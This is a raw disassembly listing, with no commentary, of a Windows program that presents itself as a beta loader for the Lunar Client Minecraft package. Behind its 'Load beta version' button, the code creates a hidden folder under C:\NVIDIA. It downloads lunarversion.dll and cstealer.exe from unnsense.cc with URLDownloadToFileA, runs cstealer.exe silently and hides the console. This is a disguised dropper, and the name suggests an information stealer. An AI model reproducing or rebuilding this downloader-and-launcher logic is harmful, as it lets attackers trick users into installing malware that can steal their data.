call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140005e61
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e5c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140005eaf
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005eaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005eaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140005f08
mov rdx, qword [rbp - 8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ef7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ef7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x18], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140005f47
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140005f97
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
call fcn.1400034a0
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140005fcc
mov eax, dword [rax + 0x1f4]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.14004b0c0
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14011abf8]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14011ab1c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x40], 0x43c80000
mov dword [rsp + 0x44], 0x43200000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
lea rdx, [0x1400cc3b8]
mov rcx, qword [rcx + 0x1d18]
call fcn.14000bec0
mov edx, eax
mov dword [rsp + 0x20], edi
lea r8, [rsp + 0x40]
call fcn.1400118b0
test al, al
je 0x140006749
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm10
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
movaps xmm1, xmmword [0x14011adf0]
movups xmmword [rbp - 0x58], xmm1
mov dword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x44], 0x3f800000
mov qword [rsp + 0x68], 0
mov dword [rbp - 0x78], 0x42200000
mov dword [rbp - 0x74], 0x42200000
lea rax, [rbp - 0x18]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x78]
mov rcx, qword [0x140172500]
call fcn.14004ac90
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140019910
lea rcx, str.Ta_wersja_jest_przeznaczona
call fcn.140048480
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140019910
mov r8, qword [0x140172518]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x14011abdc]
movss xmm4, dword [rax + 0x50]
subss xmm4, dword [rax + 0x9c]
addss xmm4, dword [0x14011abf0]
movss dword [rax + 0x118], xmm4
movss dword [rax + 0x11c], xmm2
movss xmm3, dword [rax + 0x134]
maxss xmm3, xmm2
movss xmm2, dword [rax + 0x130]
maxss xmm2, xmm4
movss dword [rax + 0x130], xmm2
movss dword [rax + 0x134], xmm3
lea rcx, str.pod_paczke_Lunar_Client.
call fcn.140048480
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140019910
mov r8, qword [0x140172518]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm7
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x40], 0x43020000
mov dword [rsp + 0x44], 0x42280000
lea rdx, [rsp + 0x40]
lea rcx, str.Load_beta_version
call fcn.140048da0
test al, al
je 0x140006744
lea rcx, str.mkdir_C:NVIDIA57834857h3485h34345_siema_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400cc3f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov ecx, 0x40
call fcn.1400b9cd0
mov rcx, rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], gethostname
mov qword [rbp - 0x60], 0x3f
movups xmm0, xmmword [str.C:NVIDIA57834857h3485h34345_siemalunarversion.dll]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cc620]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400cc630]
movups xmmword [rax + 0x20], xmm0
mov eax, dword [0x1400cc640]
mov dword [rcx + 0x30], eax
mov byte [rcx + 0x34], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov ecx, 0x50
call fcn.1400b9cd0
mov rcx, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], Ordinal_79
mov qword [rbp - 0x80], reloc.WLDAP32.dll_Ordinal_79
movaps xmm0, xmmword [str.https:__unnsense.cc_345834d5yj8yg8rwte8rygw7865436246869_lunarversion.dll]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400cc8d0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400cc8e0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400cc8f0]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x1400cc900]
movsd qword [rax + 0x40], xmm0
movzx eax, byte [0x1400cc908]
mov byte [rcx + 0x48], al
mov byte [rcx + 0x49], 0
lea r8, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r8, qword [rbp - 0x78]
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], 6
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov eax, dword [str.791017]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400cc5d4]
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x4e], 0
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x18]
lea rcx, [0x140172600]
call fcn.140061030
nop
lea rcx, str.mkdir_C:NVIDIA57834857h3485h34345_siema_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400cc3f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov ecx, 0x40
call fcn.1400b9cd0
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], Ordinal_50
mov qword [rbp - 0x40], 0x3f
movups xmm0, xmmword [str.C:NVIDIA57834857h3485h34345_siemacstealer.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cc788]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400cc798]
movups xmmword [rax + 0x20], xmm0
mov byte [rax + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov ecx, 0x50
call fcn.1400b9cd0
mov rcx, rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], 0x45
mov qword [rbp - 0x20], reloc.WLDAP32.dll_Ordinal_79
movaps xmm0, xmmword [str.https:__unnsense.cc_345834d5yj8yg8rwte8rygw7865436246869_cstealer.exe]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400cc7c0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400cc7d0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400cc7e0]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x1400cc7f0]
mov dword [rcx + 0x40], eax
movzx eax, byte [0x1400cc7f4]
mov byte [rcx + 0x44], al
mov byte [rcx + 0x45], 0
lea r8, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r8, qword [rbp - 0x58]
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rdx, qword [rbp - 0x38]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_siema
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.1400042a0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea rcx, str.C:NVIDIA57834857h3485h34345_siemacstealer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.Zainjectowano_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007070
lea rdx, [0x140007240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14000660e
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006609
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006609
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14000665c
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006657
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006657
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x1400066b5
mov rdx, qword [rbp - 8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x18], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400066f4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140006744
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000673f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000673f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
call fcn.1400034a0
call fcn.140011b70
call fcn.140011b70
call fcn.1400034a0
call fcn.1400034a0
call fcn.140017c30
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.1400b9b90
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop rbp
ret